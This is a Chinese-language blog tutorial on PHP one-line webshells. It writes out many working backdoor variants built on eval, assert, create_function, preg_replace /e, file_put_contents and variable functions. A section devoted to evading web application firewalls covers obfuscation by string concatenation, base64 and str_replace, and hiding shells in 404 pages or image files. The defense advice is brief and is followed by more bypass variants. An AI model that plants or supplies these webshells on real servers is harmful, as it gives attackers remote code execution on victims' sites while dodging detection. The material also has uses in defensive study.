一、什么是一句话木马?

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。

二、我们如何发送命令,发送的命令如何执行?

我们可以通过 GET、POST、COOKIE这三种方式向一个网站提交数据,一句话木马用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。 所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

0.eval函数

<?php eval($_POST['a']) ?>

其中eval就是执行命令的函数,**$_POST[‘a’]**就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,

使用 其他函数制作一句话木马

1.assert函数

<?php assert(@$_POST['a']); ?>

2.create_function函数

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()

3. call_user_func回调函数

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数

这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

4.preg_replace函数

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

5. file_put_contents函数

利用函数生成木马

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。

6.array数组

<?php
$a='assert';
array_map("$a",$_REQUEST);
?>

上述定义参数a并赋值‘assert’,利用array_map()函数将执行语句进行拼接。最终实现assert($_REQUEST)

<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["TEST"]);
?>

利用函数的组合效果,使得多个参数在传递后组合成一段命令并执行。


7.PHP变量函数

<?php
$a = "eval";
$a(@$_POST['a']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

三、如何让一句话木马绕过waf ?

waf是网站的防火墙,例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马,但是一句话木马的变形有很多种,waf根本不可能全部拦截。想要绕过waf,需要掌握各种PHP小技巧,掌握的技巧多了,把技巧结合起来,设计出属于自己的一句话木马。

2.PHP可变变量

<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>

看这句就能理解上述语句:$$aa = (((aa) = $ (‘bb’) = $bb = “eval”

3.str_replace函数

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函数功能:在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"Waldo"。

4. base64_decode函数

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

这里是base64解密函数,"ZXZhbA=="是eval的base64加密。

5."."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

6.parse_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

执行这个函数后,生成一个变量$a,值为字符串"eval"

7.更换数据来源

7.1GET篇

<?php $_GET[a]($_GET[b]);  ?>

<?php @eval( $_GET[$_GET[b]])>

利用方法:

b=cmd&cmd=phpinfo()

7.2利用script代替<? 、?>标签

<script language="php">@eval_r($_GET[b])</script>

7.3利用session

8.字符替换或特殊编码


9.木马藏匿

1.404页面

2.图片木马,用文件包含调用

四、总结

绕过技巧:

  • 更换执行数据来源
  • 字符替换或者编码
  • 采取隐匿手段

tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

五、防御

1.禁用assert()函数,监控eval()
2.搜索日志的assert。
亦可能绕过:

<?php $c=$_GET[n].'t';@$c($_POST[cmd]);?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[cmd]);?>

php一句话木马变形技巧相关推荐

  1. webshell之一句话木马变形

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...

  2. PHP一句话木马使用技巧

    近来发现好多网站有安全狗,会拦截菜刀和蚁剑,因此总结下通过浏览器直接调用一句话木马的姿势. PHP一句话:<?php @eval($_POST['shy']);?> firefox浏览器: ...

  3. php冰蝎一句话,利用动态二进制加密实现新型一句话木马之PHP篇(转)冰蝎

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  4. 如何把图片木马改成php格式,铭说 | 一句话木马的多种变形方式

    原标题:铭说 | 一句话木马的多种变形方式 今天来和大家聊一聊,一句话木马的多种变形方式. 经常有客户的网站碰到被上传小马和大马,这里的"马"是木马的意思,可不是真实的马. 通常, ...

  5. php限制一个函数在几分钟内不被调用_在PHP一句话木马使用过程中的种种坑点分析...

    前言 在平时的学习和练习过程中,经常会遇到上传的一句话木马无法执行我们的命令或者说能执行命令但是不能连接菜刀蚁剑等webshell管理工具,以及各个版本PHP所限制的一些一句话木马的写法,不同版本we ...

  6. 如何让一句话木马绕过waf的检测 ?

    一.什么是一句话木马? 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. ...

  7. PHP一句话木马之小马

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...

  8. PHP一句话木马解析

    目录 什么是一句话木马? 执行过程 其他函数构造一句话木马 assert函数 create_function函数 call_user_func回调函数 preg_replace函数 file_put_ ...

  9. Web安全:一句话木马

    概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...

最新文章

  1. mui汉字图标_MUI从入门到项目实战(三)增加自定义icon图标
  2. PMP知识点(八、沟通管理)
  3. 正则表达式删除文件中某些列
  4. 微带线特性阻抗计算公式_利用HFSS计算微带线的特性阻抗
  5. win10+anaconda3安装tensorflow-gpu和pytorch-gpu版
  6. java replaceall正则表达式_编写高性能Java代码的最佳实践
  7. Openssl的证书格式转换
  8. 计算机节电模式不能打开,电脑进入节电模式打不开怎么办
  9. java将一个对象赋值给另一个对象_java一个对象赋值给另一个对象,支持平铺类和层级类间的互转...
  10. asp.net弹出alert提示框
  11. java 微服务实践 视频,全新JAVA微服为务实战Spring Boot系列视频教程 小马哥 JAVA微服务实践视频课程...
  12. 软件测试的基础知识(二)
  13. 吴恩达机器学习总结四:Octave语法
  14. 地域和地方的区别_都是大米做的有什么区别?不少人被难倒,米线米粉差别还不少...
  15. 程序员面试金典——4.7最近公共祖先
  16. windows ip管理之netsetman
  17. HTML:使用JavaScript(js)脚本在网页上显示实时时间
  18. 【第十五篇】商城系统-商品详情页功能实现
  19. blender用视频做背景渲染动画节点设置
  20. Origin画图技巧之设置框图默认设置

热门文章

  1. nfa状态转换图正规式_应用全方案 | RECOM铁路级电源转换器
  2. ng-zorro中表格树的动态添加、修改、删除节点操作
  3. 拿到jar文件,如何快速运行
  4. 64位ubuntu能安装mysql,在ubuntu14.04 64位虚拟机中安装mysql
  5. 可信执行环境TEE介绍及在区块链领域的应用
  6. 中科点击:产业转移概述及产业转移承接的举措
  7. 用telnet测试通过pop3读取163邮箱邮件
  8. itk中的基本图像操作
  9. 【Revit二次开发】创建一个拉伸实体(正方体)+创建一个自定义族类型
  10. 破产姐妹【第一季】-04